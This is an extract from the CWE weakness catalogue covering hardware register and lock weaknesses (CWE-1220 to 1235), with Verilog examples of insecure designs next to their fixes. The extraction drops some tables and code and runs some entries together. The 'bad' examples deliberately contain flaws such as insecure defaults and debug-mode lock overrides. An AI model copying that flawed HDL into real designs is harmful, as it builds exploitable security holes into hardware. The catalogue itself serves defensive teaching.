In the code above, the GPIO pin should remain low for normal operation. However, it can be asserted by accessing the reserved address space (0x0F). This may be a concern if the GPIO state is being used as an indicator of health (e.g. if asserted the hardware may respond by shutting down or resetting the system which may not be the correct action the system should perform).

Example Language: *(informative)*

```
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
//4'b1111 : //0x0F
default: gpio_out = gpio_out;
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1220: Insufficient Granularity of Access Control

Weakness ID : 1220 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.

Extended Description

Integrated circuits and hardware engines can expose accesses to assets (device configuration, keys, etc.) to trusted firmware or a software module (commonly set by BIOS/bootloader). This access is typically access-controlled. Upon a power reset, the hardware or system usually starts with default values in registers, and the trusted firmware (Boot firmware) configures the necessary access-control protection.

A common weakness that can exist in such protection schemes is that access controls or policies are not granular enough. This condition allows agents beyond trusted agents to access assets and could lead to a loss of functionality or the ability to set up the device securely. This further results in security risks from leaked, sensitive, key material to modification of device configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf	V	1222	Insufficient Granularity of Address Regions Protected by Register Locks	1740

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism Other	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Access-control-policy protections must be reviewed for design inconsistency and common weaknesses. Access-control-policy definition and programming flow must be tested in pre-silicon, post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider a system with a register for storing AES key for encryption or decryption. The key is 128 bits, implemented as a set of four 32-bit registers. The key registers are assets and registers, AES_KEY_READ_POLICY and AES_KEY_WRITE_POLICY, and are defined to provide necessary access controls.

The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each register is a 32-bit register, and it can support access control for a maximum of 32 agents. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

Example Language: Other *(bad)*

In the above example, there is only one policy register that controls access to both read and write accesses to the AES-key registers, and thus the design is not granular enough to separate read

and writes access for different agents. Here, agent with identities "1" and "2" can both read and write.

A good design should be granular enough to provide separate access controls to separate actions. Access control for reads should be separate from writes. Below is an example of such implementation where two policy registers are defined for each of these actions. The policy is defined such that: the AES-key registers can only be read or used by a crypto agent with identity "1" when bit #1 is set. The AES-key registers can only be programmed by a trusted firmware with identity "2" when bit #2 is set.

Example Language: *(mitigation)*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

CWE-1221: Incorrect Register Defaults or Module Parameters

Weakness ID : 1221 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Hardware description language code incorrectly defines register defaults or hardware IP parameters to insecure values.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. Hardware descriptive languages also support definition of parameter variables, which can be defined in code during instantiation of the hardware IP module. Such parameters are generally used to configure a specific instance of a hardware IP in the design.

The system security settings of a hardware design can be affected by incorrectly defined default values or IP parameters. The hardware IP would be in an insecure state at power reset, and this can be exposed or exploited by untrusted software running on the system. Both register defaults and parameters are hardcoded values, which cannot be changed using software or firmware patches but must be changed in hardware silicon. Thus, such security issues are considerably more difficult to address later in the lifecycle. Hardware designs can have a large number of such parameters and register defaults settings, and it is important to have design tool support to check these settings in an automated way and be able to identify which settings are security sensitive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Varies by Context *Degradation of system functionality, or loss of access control enforcement*	

Potential Mitigations

Phase: Architecture and Design

During hardware design, all the system parameters and register defaults must be reviewed to identify security sensitive settings.

Phase: Implementation

The default values of these security sensitive settings need to be defined as part of the design review phase.

Phase: Testing

Testing phase should use automated tools to test that values are configured per design specifications.

Demonstrative Examples

Example 1:

Consider example design module system verilog code shown below.register_example module is an example parameterized module that defines two parameters, REGISTER_WIDTH and REGISTER_DEFAULT. Register_example module defines a Secure_mode setting, which when set makes the register content read-only and not modifiable by software writes. register_top module instantiates two registers, Insecure_Device_ID_1 and Insecure_Device_ID_2. Generally, registers containing device identifier values are required to be read only to prevent any possibility of software modifying these values.

Example Language: Verilog *(bad)*

```
// Parameterized Register module example
// Secure_mode : REGISTER_DEFAULT[0] : When set to 1 register is read only and not writable//
/module register_example
s#(
parameter REGISTER_WIDTH = 8, // Parameter defines width of register, default 8 bits
parameter [REGISTER_WIDTH-1:0] REGISTER_DEFAULT = 2**REGISTER_WIDTH -2 // Default value of register computed from Width. Sets all bits to 1s except bit 0 (Secure _mode)
)
(
input [REGISTER_WIDTH-1:0] Data_in,
input Clk,
input resetn,
input write,
output reg [REGISTER_WIDTH-1:0] Data_out
);
reg Secure_mode;
always @(posedge Clk or negedge resetn)
if (~resetn)
begin
```

```
Data_out <= REGISTER_DEFAULT; // Register content set to Default at reset
Secure_mode <= REGISTER_DEFAULT[0]; // Register Secure_mode set at reset
end
else if (write & ~Secure_mode)
begin
Data_out <= Data_in;
end
endmodule
module register_top
(
input Clk,
input resetn,
input write,
input [31:0] Data_in,
output reg [31:0] Secure_reg,
output reg [31:0] Insecure_reg
);
register_example #(
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1224) // Incorrect Default value used bit 0 is 0.
) Insecure_Device_ID_1 (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
register_example #(
.REGISTER_WIDTH (32) // Default not defined 2^32-2 value will be used as default.
) Insecure_Device_ID_2 (
.Data_in (Data_in),
.Data_out (Insecure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
endmodule
```

These example instantiations show how, in a hardware design, it would be possible to instantiate the register module with insecure defaults and parameters.

In the example design, both registers will be software writable since Secure_mode is defined as zero.

Example Language: *(informative)*

```
register_example #(
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1225) // Correct default value set, to enable Secure_mode
) Secure_Device_ID_example (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks

Weakness ID : 1222 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process.

Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design, this is commonly implemented using a programmable lock bit which enables/disables writing to a protected set of registers or address regions. When the programmable lock bit is set, the relevant address region can be implemented as a hardcoded value in hardware logic that cannot be changed later.

A problem can arise wherein the protected region definition is not granular enough. After the programmable lock bit has been set, then this new functionality cannot be implemented without change to the hardware design.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1220	Insufficient Granularity of Access Control	1735

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Other *System security configuration cannot be defined in a way that does not conflict with functional requirements of device.*	

Potential Mitigations

Phase: Architecture and Design

The defining of protected locked registers should be reviewed or tested early in the design phase with software teams to ensure software flows are not blocked by the security locks. As an alternative to using register lock control bits and fixed access control regions, the hardware

design could use programmable security access control configuration so that device trusted firmware can configure and change the protected regions based on software usage and security models.

Demonstrative Examples

Example 1:

For example, consider a hardware unit with a 32 kilobyte configuration address space where the first 8 kilobyte address contains security sensitive controls that must only be writable by device bootloader. One way to protect the security configuration could be to define a 32 bit system configuration locking register (SYS_LOCK) where each bit lock locks the corresponding 1 kilobyte region.

Example Language: Other *(bad)*

If a register exists within the first kilobyte address range (e.g. SW_MODE, address 0x310) and needs to be software writable at runtime, then this register cannot be written in a securely configured system since SYS_LOCK register lock bit 0 must be set to protect other security settings (e.g. SECURITY_FEATURE_ENABLE, address 0x0004). The only fix would be to change the hardware logic or not set the security lock bit.

CWE-1223: Race Condition for Write-Once Attributes

Weakness ID : 1223 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make them write-once. This means the hardware implementation only allows writing to such registers once, and they become read-only after having been written once by software. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Implementation issues in hardware design of such controls can expose such registers to a race condition security flaw. For example, consider a hardware design that has two different software/ firmware modules executing in parallel. One module is trusted (module A) and another is untrusted (module B). In this design it could be possible for Module B to send write cycles to the write-once register before Module A. Since the field is write-once the programmed value from Module A will be ignored and the pre-empted value programmed by Module B will be used by hardware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *System configuration cannot be programmed in a secure way.*	

Potential Mitigations

Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

Demonstrative Examples

Example 1:

consider the example design module system verilog code shown below.
register_write_once_example module is an example of register that has a write-once field defined. Bit 0 field captures the write_once_status value.

Example Language: Verilog *(bad)*

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetn,
input global_resetn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetn)
if (~ip_resetn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE; // Input data written to register after masking bit 0
Write_once_status <= 1'b1; // Write once status set after first write.
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

The first system component that sends a write cycle to this register can program the value. This could result in a race condition security issue in SoC design, if an untrusted agent is running in the system in parallel with the trusted component that is expected to program the register.

Example Language: *(informative)*

Trusted firmware or software trying to set the write-once field.
- Must confirm the Write_once_status (bit 0) value is zero, before programming register. If another agent has programmed the register before, then Write_once_status value will be one.
- After writing to the register, the trusted software can issue a read to confirm that the valid setting has been programmed.

CWE-1224: Improper Restriction of Write-Once Bit Fields

Weakness ID : 1224 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to define default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make the settings write-once or "sticky." This allows writing to such registers only once, whereupon they become read-only. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Failure to implement write-once restrictions in hardware design can expose such registers to being re-programmed by software and written multiple times. For example, write-once fields could be implemented to only be write-protected if they have been set to value "1", wherein they would work as "write-1-once" and not "write-once".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Varies by Context *System configuration cannot be programmed in a secure way.*	

Potential Mitigations

Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

Demonstrative Examples

Example 1:

Consider the example design module system verilog code shown below.
register_write_once_example module is an example of register that has a write-once field defined. Bit 0 field captures the write_once_status value. This implementation can be for a register that is defined by specification to be a write-once register, since the write_once_status field gets written by input data bit 0 on first write.

Example Language: Verilog *(bad)*

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetn,
input global_resetn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetn)
if (~ip_resetn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE;
Write_once_status <= Data_in[0]; // Input bit 0 sets Write_once_status
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

The above example only locks further writes if write_once_status bit is written to one. So it acts as write_1-Once instead of the write-once attribute.

Example Language: *(informative)*

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetn,
input global_resetn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetn)
if (~ip_resetn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE;
Write_once_status <= 1'b1; // Write once status set on first write, independent of input
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

CWE-1229: Creation of Emergent Resource

Weakness ID : 1229 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy.

Extended Description

A product is only expected to behave in a way that was specifically intended by the developer. Resource allocation and management is expected to be performed explicitly by the associated code. However, in systems with complex behavior, the product might indirectly produce new kinds of resources that were never intended in the original design. For example, a covert channel is a resource that was never explicitly intended by the developer, but it is useful to attackers. "Parasitic computing," while not necessarily malicious in nature, effectively tricks a product into performing unintended computations on behalf of another party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1230: Exposure of Sensitive Information Through Metadata

Weakness ID : 1230 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information.

Extended Description

Developers might correctly prevent unauthorized access to a database or other resource containing sensitive information, but they might not consider that portions of the original information might also be recorded in metadata, search indices, statistical reports, or other resources. If these resources are not also restricted, then attackers might be able to extract some or all of the original information, or otherwise infer some details. For example, an attacker could specify search terms that are known to be unique to a particular person, or view metadata such as activity or creation dates in order to identify usage patterns.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1231: Improper Implementation of Lock Protection Registers

Weakness ID : 1231 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product incorrectly implements register lock bit protection features such that protected controls can be programmed even after the lock has been set.

Extended Description

In integrated circuits and hardware IPs, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. Design or coding errors in the implementation of the lock bit protection feature may allow the lock bit to be modified or cleared by software after being set to unlock the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory *Registers protected by lock bit can be modified even when lock is set.*	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock programming flow and lock properties must be tested in pre-silicon, post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider the example design below or a digital thermal sensor used in the design to detect overheating of the silicon and trigger system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by firmware and then the register needs to be locked (TEMP_SENSOR_LOCK).

Example Language: Other *(bad)*

In this example note that the response of the system if the system heats to critical temperature is controlled by TEMP_HW_SHUTDOWN bit [1], which is not lockable. Thus, the intended security property of the critical temperature sensor cannot be fully protected,since software can misconfigure the TEMP_HW_SHUTDOWN register even after the lock bit is set to disable the shutdown response.

Example Language: *(mitigation)*

Change TEMP_HW_SHUTDOWN field to be locked by TEMP_SENSOR_LOCK.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1232: Improper Lock Behavior After Power State Transition

Weakness ID : 1232 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements register lock bit protection features with the intent to disable changes to system configuration after the lock is set. Some of the protected registers or lock bits become programmable after power state transitions (e.g., Entry and wake from low power sleep modes).

Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design this is commonly implemented using a programmable lock bit, which when set disables writes to a protected set of registers or address regions.

Some common weaknesses that can exist in such a protection scheme is that the lock gets cleared, the values of the protected registers get reset, or the lock become programmable after a power state transition.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory *System Configuration protected by lock bit can be modified even when lock is set.*	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security Lock bit protections must be reviewed for behavior across supported power state transitions. Security lock programming flow and lock properties must be tested in pre-si, post-si testing, including testing these across power transitions.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider memory configuration settings of a system that uses DDR3 DRAM memory. Protecting the DRAM memory configuration from modification by software is required to ensure that system memory access control protections cannot be bypassed. This can be done by using a lock bit protection that locks all memory configuration registers. The memory configuration lock can be set by BIOS on boot.

If such a system also supports a low power sleep state like hibernate, the DRAM data must be saved in disk and restored when system resumes from hibernate. During hibernate, system DRAM would be powered off.

To support hibernate power transition flow, the DRAM memory configuration must be reprogrammed even though it was locked previously. During hibernate resume, the memory configuration could be modified or memory lock cleared.

Functionally the hibernate resume flow requires a bypass of the lock-based protection.

The memory configuration must be securely stored and restored by trusted system firmware. Lock settings and system configuration must be restored to same state as before entry to hibernate mode.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1233: Improper Hardware Lock Protection for Security Sensitive Controls

Weakness ID : 1233 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements a register lock bit protection feature that permits security sensitive controls to modify the protected configuration.

Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration). If any system registers/controls that can modify the protected configuration are not write-protected by the lock, they can then be leveraged by software to modify the protected configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	

Scope	Impact	Likelihood
	System Configuration protected by the lock bit can be modified even when the lock is set.	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock bit protections must be reviewed common weaknesses. Security lock programming flow and lock properties must be tested in pre-si, post-si testing.

Demonstrative Examples

Example 1:

For example, consider the example design below or a digital thermal sensor used in the design to detect overheating of the silicon to trigger a system shutdown. The system critical temperature limit (CRITICAL_TEMP_LIMIT) and thermal sensor calibration (TEMP_SENSOR_CALIB) data have to be programmed by the firmware.

Example Language: Other *(bad)*

In this example note that only the CRITICAL_TEMP_LIMIT register is protected by the TEMP_SENSOR_LOCK bit, while the security design intent is to protect any modification of the critical temperature detection and response.

The response of the system, if the system heats to a critical temperature, is controlled by TEMP_HW_SHUTDOWN bit [1], which is not lockable. Also, the TEMP_SENSOR_CALIB register is not protected by the lock bit.

By modifying the temperature sensor calibration, the conversion of the sensor data to a degree centigrade can be changed, such that the current temperature will never be detected to exceed critical temperature value programmed by the protected lock.

Similarly, by modifying the TEMP_HW_SHUTDOWN.Enable bit, the system response detection of the current temperature exceeding critical temperature can be disabled.

Example Language: *(informative)*

Change TEMP_HW_SHUTDOWN and TEMP_SENSOR_CALIB controls to be locked by TEMP_SENSOR_LOCK.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks

Weakness ID : 1234 **Status:** Incomplete
Structure : Simple

Abstraction : Base

Description

The product implements register lock bit protection features that may permit security sensitive controls to modify system configuration after the lock is set through internal modes or debug features.

Extended Description

In integrated circuits and hardware IPs, device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/ memory protection unit configuration). If debug features supported by hardware or internal modes/ system states are supported in the hardware design, they may allow modification of the lock protection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1299

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *System Configuration protected by lock bit can be modified even when lock is set.*	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Security Lock bit protections must be reviewed for any bypass/override modes supported. Any supported override modes either must be removed, or these modes should be protected using features like secure authenticated, authorized debug modes. Security lock programming flow and lock properties must be tested in pre-si, post-si testing.

Effectiveness = High

Demonstrative Examples

Example 1:

For example, consider the example Locked_override_register example. This register module supports a lock mode that blocks any writes after lock is set to 1.
However, it also allows override of the lock protection when scan_mode or debug_unlocked modes are active.

Example Language: Verilog *(bad)*

```
module Locked_register_example
(
input [15:0] Data_in,
input Clk,
input resetn,
input write,
input Lock,
input scan_mode,
input debug_unlocked,
output reg [15:0] Data_out
);
reg lock_status;
always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
begin
lock_status <= 1'b0;
end
else if (Lock)
begin
lock_status <= 1'b1;
end
else if (~Lock)
begin
lock_status <= lock_status
end
always @(posedge Clk or negedge resetn)
if (~resetn) // Register is reset resetn
begin
Data_out <= 16'h0000;
end
else if (write & (~lock_status | scan_mode | debug_unlocked) ) // Register protected by Lock bit input, overrides supported for scan_mode & debug_unlocked
begin
Data_out <= Data_in;
end
else if (~write)
begin
Data_out <= Data_out;
end
endmodule
```

If either of scan_mode or debug_unlocked modes can be triggered by software, then lock protection can be bypassed.

Example Language: *(good)*

Remove debug and scan mode overrides. Or protect enabling of these modes through secure authentication and authorization features, such that only trusted and authorized users can enable these debug modes.

CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations

Weakness ID : 1235 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.

Extended Description

Languages such as Java and C# support automatic conversion through their respective compilers from primitive types into objects of the corresponding wrapper classes, and vice versa. For example, a compiler might convert an int to Integer (called autoboxing) or an Integer to int (called unboxing). This eliminates forcing the programmer to perform these conversions manually, which makes the code cleaner.

However, this feature comes at a cost of performance and can lead to resource exhaustion and impact availability when used with generic collections. Therefore, they should not be used for scientific computing or other performance critical operations. They are only suited to support "impedance mismatch" between reference types and primitives.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	400	Uncontrolled Resource Consumption	864

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other)	Low

Scope	Impact	Likelihood
	Reduce Performance *Incorrect autoboxing/unboxing would result in reduced performance, which sometimes can lead to resource consumption issues.*	

Potential Mitigations

Phase: Implementation

